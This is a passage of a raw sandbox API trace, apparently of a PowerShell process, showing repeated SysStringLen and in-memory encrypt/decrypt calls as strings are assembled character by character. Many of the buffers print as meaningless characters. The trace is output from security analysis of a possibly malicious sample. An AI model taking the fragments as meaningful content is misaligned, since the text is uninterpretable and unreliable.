OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.379] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ䓨﹥ᱝ쭷᪋됋뫫≕) returned 0x18 [0255.379] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ䓨﹥ᱝ쭷᪋됋뫫≕) returned 0x18 [0255.379] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.379] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm◃") returned 0x18 [0255.379] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.380] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ⋨蘤ꐛ⳯鎗渢锵說⊦) returned 0x18 [0255.380] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ⋨蘤ꐛ⳯鎗渢锵說⊦) returned 0x18 [0255.380] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.380] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5") returned 0x18 [0255.380] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.380] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢⊩) returned 0x18 [0255.380] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢⊩) returned 0x18 [0255.380] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢⊩) returned 0x18 [0255.381] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢⊩) returned 0x20 [0255.381] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.381] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5c鱷韪迱쫖ᆴ摀") returned 0x20 [0255.381] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.381] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢Ჩꥑ눁饪嘈裆∫) returned 0x20 [0255.381] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢Ჩꥑ눁饪嘈裆∫) returned 0x20 [0255.381] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.381] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5ct韪迱쫖ᆴ摀") returned 0x20 [0255.381] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.385] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢⚩Ṟ㤭\峜磕躶ࣂ彟") returned 0x20 [0255.385] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢⚩Ṟ㤭\峜磕躶ࣂ彟") returned 0x20 [0255.385] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.385] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts迱쫖ᆴ摀") returned 0x20 [0255.385] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.385] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢ࢩ쀨킇᩶꘰㚩禽⊞) returned 0x20 [0255.385] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢ࢩ쀨킇᩶꘰㚩禽⊞) returned 0x20 [0255.385] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.385] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1쫖ᆴ摀") returned 0x20 [0255.385] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.386] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢皩婆瀠鑹⼃ꍷ≞) returned 0x20 [0255.386] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢皩婆瀠鑹⼃ꍷ≞) returned 0x20 [0255.386] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.386] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1Q쫖ᆴ摀") returned 0x20 [0255.386] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.386] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢꺩ｶ壃᫟홊揺䆲⋂) returned 0x20 [0255.386] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢꺩ｶ壃᫟홊揺䆲⋂) returned 0x20 [0255.386] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.386] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QCᆴ摀") returned 0x20 [0255.386] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.386] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢늂뺀곆ꢍ൓패⋚) returned 0x20 [0255.386] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢늂뺀곆ꢍ൓패⋚) returned 0x20 [0255.386] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.387] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3摀") returned 0x20 [0255.387] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.387] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢殩ꁷ嘡馁睏쩄檂ꉗ≖) returned 0x20 [0255.387] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢殩ꁷ嘡馁睏쩄檂ꉗ≖) returned 0x20 [0255.387] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.387] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3D") returned 0x20 [0255.387] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.387] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨⊠) returned 0x20 [0255.387] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨⊠) returned 0x20 [0255.387] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨⊠) returned 0x20 [0255.388] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨⊠) returned 0x28 [0255.388] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.388] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3Dl⍯厜葧濩嬬浾") returned 0x28 [0255.388] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.388] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨媠⬰簏딳霅챨⊘) returned 0x28 [0255.388] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨媠⬰簏딳霅챨⊘) returned 0x28 [0255.388] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.388] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3Dlg⍯厜葧濩嬬浾") returned 0x28 [0255.388] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.389] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨㒠㓈궴楰㴁⮩ក∮) returned 0x28 [0255.389] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨㒠㓈궴楰㴁⮩ក∮) returned 0x28 [0255.389] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.389] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3DlgO厜葧濩嬬浾") returned 0x28 [0255.389] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.389] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨涠턫Ὑ꾙魱⿀䟚㠜≢) returned 0x28 [0255.389] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨涠턫Ὑ꾙魱⿀䟚㠜≢) returned 0x28 [0255.389] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.389] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3DlgOe葧濩嬬浾") returned 0x28 [0255.389] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.389] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨Ơ뒴簨੘䚉憄ͼ∨) returned 0x28 [0255.389] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨Ơ뒴簨੘䚉憄ͼ∨) returned 0x28 [0255.389] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.390] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3DlgOeM濩嬬浾") returned 0x28 [0255.390] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.390] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨枠槮䍃皥㼤ፄ됱핫⋵) returned 0x28 [0255.390] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨枠槮䍃皥㼤ፄ됱핫⋵) returned 0x28 [0255.390] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.390] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3DlgOeM1嬬浾") returned 0x28 [0255.390] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.390] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨늠⺶첕鼌慪ⵎꎈ鮷⊋) returned 0x28 [0255.390] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨늠⺶첕鼌慪ⵎꎈ鮷⊋) returned 0x28 [0255.390] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.390] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3DlgOeM18浾") returned 0x28 [0255.390] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.390] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨ঠ捓針桊⣜࠸玅蕐∑) returned 0x28 [0255.390] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨ঠ捓針桊⣜࠸玅蕐∑) returned 0x28 [0255.390] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.391] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3DlgOeM189") returned 0x28 [0255.391] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.391] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨猪䰊ᩫऽ榫ᓣ趈꣭≺) returned 0x28 [0255.391] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨猪䰊ᩫऽ榫ᓣ趈꣭≺) returned 0x28 [0255.391] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨猪䰊ᩫऽ榫ᓣ趈꣭≺) returned 0x28 [0255.391] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨猪䰊ᩫऽ榫ᓣ趈꣭≺) returned 0x30 [0255.391] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0255.392] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3DlgOeM189H叙䩳ᇇ梆㹫黾랓") returned 0x30 [0255.392] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0255.392] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨猪䰊ᩫऽ榫ᓣ趈꣭땺૜ 䐵瓶톥鸷ꪒ≧) returned 0x30 [0255.392] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨猪䰊ᩫऽ榫ᓣ趈꣭땺૜ 䐵瓶톥鸷ꪒ≧) returned 0x30 [0255.392] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0255.392] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3DlgOeM189He䩳ᇇ梆㹫黾랓") returned 0x30 [0255.392] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0255.392] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨猪䰊ᩫऽ榫ᓣ趈꣭᩺ᴼ璺鍂ꉈ＂∈) returned 0x30 [0255.392] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨猪䰊ᩫऽ榫ᓣ趈꣭᩺ᴼ璺鍂ꉈ＂∈) returned 0x30 [0255.392] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0255.392] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3DlgOeM189HeMᇇ梆㹫黾랓") returned 0x30 [0255.392] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0255.392] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨猪䰊ᩫऽ榫ᓣ趈꣭ቺ㾍른갿ວ᳞Ƣ⋯) returned 0x30 [0255.392] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨猪䰊ᩫऽ榫ᓣ趈꣭ቺ㾍른갿ວ᳞Ƣ⋯) returned 0x30 [0255.393] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0255.394] SysStringLen (param_1="oLhJdOLc0XJHc0nwI0HCQjm5cts1QC3DlgOeM189HeM=梆㹫黾랓") returned 0x30 [0255.394] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0255.394] EtwEventActivityIdControl () returned 0x0 [0255.394] EtwEventActivityIdControl () returned 0x0 [0255.394] EtwEventActivityIdControl () returned 0x0 [0255.394] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.395] EtwEventActivityIdControl () returned 0x0 [0255.395] EtwEventActivityIdControl () returned 0x0 [0255.395] EtwEventActivityIdControl () returned 0x0 [0255.396] SysStringLen (param_1="") returned 0x8 [0255.396] SysStringLen (param_1="N") returned 0x8 [0255.396] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.396] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0255.396] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0255.396] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.396] SysStringLen (param_1="ND") returned 0x8 [0255.396] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.396] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0255.396] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0255.396] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.396] SysStringLen (param_1="NDZ") returned 0x8 [0255.396] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.397] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0255.397] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0255.397] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.397] SysStringLen (param_1="NDZl") returned 0x8 [0255.397] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.397] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0255.397] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0255.397] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.397] SysStringLen (param_1="NDZlO") returned 0x8 [0255.397] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.397] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0255.397] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0255.397] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.397] SysStringLen (param_1="NDZlOD") returned 0x8 [0255.398] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.398] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0255.398] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0255.398] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.398] SysStringLen (param_1="NDZlODR") returned 0x8 [0255.398] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.398] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0255.398] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0255.398] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.398] SysStringLen (param_1="NDZlODRm") returned 0x8 [0255.398] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0255.399] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.399] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0255.399] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0255.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0255.400] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.400] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0255.400] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0255.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0255.400] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.400] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0255.400] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0255.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0255.400] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.401] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0255.401] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0255.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0255.401] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.401] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0255.401] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0255.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0255.401] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.401] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0255.401] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0255.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0255.401] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.402] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0255.402] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0255.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0255.402] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.402] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0255.402] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.402] SysStringLen 